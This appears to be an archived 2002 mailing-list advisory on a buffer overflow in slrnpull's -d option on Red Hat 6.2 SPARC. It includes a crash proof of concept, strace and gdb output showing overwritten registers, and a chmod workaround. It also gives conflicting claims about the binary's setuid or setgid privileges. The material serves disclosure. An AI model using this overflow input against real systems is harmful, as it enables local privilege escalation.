OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Alex Hernandez (alex_hernandezureach.com)
Date: Mon Apr 22 2002 - 15:22:17 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Slrnpull Buffer Overflow (-d parameter)
    =======================================

    Author:

    ** Alex Hernandez <alex_hernandezureach.com>

    ** Thanks all the people from Spain and Argentina.
    ** Special Greets: White-B, Paco Spain, Gabriel M.

    Thanks friends for all the research:

     
    + Solar Eclipse <solareclipsephreedom.org>
            http://www.phreedom.org
    + Kevin Finisterre <dotslashsnosoft.com>
            http://www.snosoft.com

    Affected system:
    ================

    Linux RH.6.2 Sparc64 and below versions.

    Description:
    ============

    Slrnpull is a pulling of news on RH6.2-sparc platform. It is
    installed in
    /usr/bin/slrnpull. On SPARC platform, it is configured to have
    setgid
    root attribute.

    Slrnpull is used for pulling of news posts from NNTP news
    server, so it enables
    slrn to be used as offline newsreader. A security vulnerability
    in the product
    allows local users to overflow one of the parameter (-d) and
    cause the application
    to execute arbitrary code. Since the program is setuid root,
    elevated privileges
    can be gained.

    slrnpull supports a command line parameter "-d" to
    specify "SPOOLDIR"
    (Spool Directory associated with server).which would be used by
    an attacker
    to cause Buffer Overflow. With carefully constructed data, an
    attacker might
    be able to run arbitrary code with root privilege.

    In case that the attacker provide an overlong filename (for
    example, longer
    than 4091 bytes) for the "-d", it would overflow a dynamic
    allocated buffer.
    The attacker could modify arbitrary memory address (such as
    saved return
    address, and function pointer, etc.) with some features of
    malloc()/free()
    implementation by overwriting the border data structure of the
    next
    dynamic memory chunk.

    On SPARC platform, attacker could obtain root group privilege;

    Exploit:
    ==========

    Red Hat Linux release 6.2 (Zoot)
    Kernel 2.2.14-5.0 on a sparc64

    alexLab /tmp]$ uname -svrm
    Linux 2.2.14-5.0 #1 Tue Mar 7 21:50:41 EST 2000 sparc64

    [alexLab /tmp]$ ls -la /usr/bin/slrnpull
    -rwxr-sx-- 1 news news 48688 Feb 7
    2000 /usr/bin/slrnpull

    [alexLab /tmp]$ /usr/bin/slrnpull -d `perl -e 'print "A" x
    4091'`
    04/01/2002 22:23:11 ***File name too long.
    04/01/2002 22:23:11 slrnpull started.
    Segmentation fault

    [alexLab /tmp]$

    MAPPED WITH STRACE

    [alexLab /tmp]$ strace /usr/bin/slrnpull -d `perl -
    e 'print "A" x 4091'`
    execve("/usr/bin/slrnpull", ["/usr/bin/slrnpull", "-d",

    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAA

    [...]

    "], [/* 23 vars */]) = 0
    brk(0) = 0x38e68
    open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such
    file or directory)
    open("/etc/ld.so.cache", O_RDONLY) = 3
    fstat(3, {st_mode=S_IFREG|0644, st_size=24315, ...}) = 0
    mmap(NULL, 24315, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7001c000
    close(3) = 0
    open("/usr/lib/libslang.so.1", O_RDONLY) = 3
    fstat(3, {st_mode=S_IFREG|0644, st_size=315158, ...}) = 0
    read(3, "\177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\2\0\0\0\1\0\0
    \254"..., 8192) = 8192
    mmap(NULL, 386256, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
    0x7002c000
    mprotect(0x70066000, 148688, PROT_NONE) = 0
    mmap(0x7006c000, 65536, PROT_READ|PROT_WRITE|PROT_EXEC,
    MAP_PRIVATE|MAP_FIXED, 3, 0x30000) = 0x7006c000
    mmap(0x7007c000, 58576, PROT_READ|PROT_WRITE|PROT_EXEC,
    MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7007c000
    close(3) = 0
    open("/lib/libm.so.6", O_RDONLY) = 3
    fstat(3, {st_mode=S_IFREG|0755, st_size=790032, ...}) = 0
    read(3, "\177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\2\0\0\0\1\0\0
    \201"..., 8192) = 8192
    mmap(NULL, 277016, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
    0x7008c000
    mprotect(0x700c0000, 64024, PROT_NONE) = 0
    mmap(0x700cc000, 16384, PROT_READ|PROT_WRITE|PROT_EXEC,
    MAP_PRIVATE|MAP_FIXED, 3, 0x30000) = 0x700cc000
    close(3) = 0
    open("/lib/libc.so.6", O_RDONLY) = 3
    fstat(3, {st_mode=S_IFREG|0755, st_size=4384427, ...}) = 0
    read(3, "\177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\22\0\0\0\1\0\1
    \353"..., 8192) = 8192
    mmap(NULL, 8192, PROT_READ|PROT_WRITE,
    MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x70022000
    mmap(NULL, 1118552, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
    0x700d0000
    mprotect(0x701c8000, 102744, PROT_NONE) = 0
    mmap(0x701d0000, 57344, PROT_READ|PROT_WRITE|PROT_EXEC,
    MAP_PRIVATE|MAP_FIXED, 3, 0xf0000) = 0x701d0000
    mmap(0x701de000, 12632, PROT_READ|PROT_WRITE|PROT_EXEC,
    MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x701de000
    close(3) = 0
    munmap(0x7001c000, 24315) = 0
    personality(PER_LINUX) = 0
    getpid() = 19513
    fcntl(0, F_GETFD) = 0
    fcntl(1, F_GETFD) = 0
    fcntl(2, F_GETFD) = 0
    ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
    time([1018306383]) = 1018306383
    getpagesize() = 0x2000
    brk(0) = 0x38e68
    brk(0x38e90) = 0x38e90
    brk(0x3a000) = 0x3a000
    open("/etc/localtime", O_RDONLY) = 3
    read(3, "TZif\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\0\0\0\4
    \0"..., 44) = 44
    read(3, "\245\266\350p\257\362n\340\266fV`\267C\322`\270
    \f6`\270"..., 490) = 490
    SYS_63() = -1 ENOSYS (Function
    not implemented)
    fstat(3, {st_mode=S_IFREG|0644, st_size=582, ...}) = 0
    mmap(NULL, 8192, PROT_READ|PROT_WRITE,
    MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7001c000
    read(3, "\377\377\243\f\0\0\377\377\235\220\0\4\377\377\253
    \240"..., 8192) = 48
    close(3) = 0
    munmap(0x7001c000, 8192) = 0
    write(2, "04/08/2002 17:53:03 ", 2004/08/2002 17:53:03 ) = 20
    write(2, "***", 3***) = 3
    write(2, "File name too long.", 19File name too long.) = 19
    write(2, "\n", 1
    ) = 1
    time([1018306383]) = 1018306383
    fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...})
    = 0
    mmap(NULL, 8192, PROT_READ|PROT_WRITE,
    MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7001c000
    ioctl(1, TCGETS, {B38400 opost isig icanon echo ...}) = 0
    write(1, "04/08/2002 17:53:03 slrnpull sta"..., 3804/08/2002
    17:53:03 slrnpull started.
    ) = 38
    brk(0x3c000) = 0x3c000
    brk(0x3e000) = 0x3e000
    brk(0x40000) = 0x40000
    brk(0x42000) = 0x42000
    mkdir
    ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAA
    [...]

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/new", 0777) = -1
    ENAMETOOLONG (File name too long)
    time([1018306383]) = 1018306383
    --- SIGSEGV (Segmentation fault) ---
    +++ killed by SIGSEGV +++

    [alexLab /tmp]$

    DEBUGUING WITH GDB

    [alexLab /tmp]$ /usr/bin/gdb /usr/bin/slrnpull
    GNU gdb 19991004
    Copyright 1998 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public
    License, and you are
    welcome to change it and/or distribute copies of it under
    certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB. Type "show warranty"
    for details.
    This GDB was configured as "sparc-redhat-linux"...(no debugging
    symbols found)...

    (gdb) set args -d `perl -e 'print "A" x 4091'`
    (gdb) r
    Starting program: /usr/bin/slrnpull -d `perl -e 'print "A" x
    4091'`
    04/15/2002 16:39:45 ***File name too long.
    04/15/2002 16:39:45 slrnpull started.
    (no debugging symbols found)...

    Program received signal SIGSEGV, Segmentation fault.
    0x700f8ad0 in getenv () at ../sysdeps/generic/getenv.c:100
    100 ../sysdeps/generic/getenv.c: No such file or directory.
    (gdb)

    (gdb) inf all
    g0 0x0 0
    g1 0x1010101 16843009
    g2 0x80808080 -2139062144
    g3 0x0 0
    g4 0x30 48
    g5 0x28 40
    g6 0x0 0
    g7 0xff 255
    o0 0x5a540000 1515454464
    o1 0xefffeb54 -268440748
    o2 0x5a 90
    o3 0x54 84
    o4 0x6a656374 1785029492
    o5 0x72766965 1920362853

    sp 0xefffdde0 -268444192
    o7 0x700f89f4 1880066548
    l0 0xefffeb54 -268440748
    l1 0x701c2702 1880893186
    l2 0x0 0
    l3 0x5a54 23124
    l4 0x0 0
    l5 0x0 0
    l6 0x0 0
    l7 0x41414141 1880999612
    i0 0x41414141 1094795585
    i1 0xfffff974 -1676
    i2 0x1 1
    i3 0x0 0
    i4 0x0 0
    i5 0x0 0
    fp 0xefffde48 -268444088
    i7 0x70152864 1880434788
    f0 0 (raw 0x00000000) 0
    f1 0 (raw 0x00000000)
    f2 0 (raw 0x00000000) 0
    f3 0 (raw 0x00000000)

    [...]

    Workaround:
    ===================

    Temporarily remove the suid root or sgid root attribute of
    slrnpull:

    # chmod a-s /usr/bin/slrnpull

    Vendor Status:
    ==============

    Posted security^s pages like

    https://bugzilla.redhat.com/

    bugzilla-ownerredhat.com

    Download the last versions for x86 and Sparc versions.

    http://www.bebits.com/app/840
    http;//www.redhat.com

    ________________________________________________
    Get your own "800" number
    Voicemail, fax, email, and a lot more
    http://www.ureach.com/reg/tag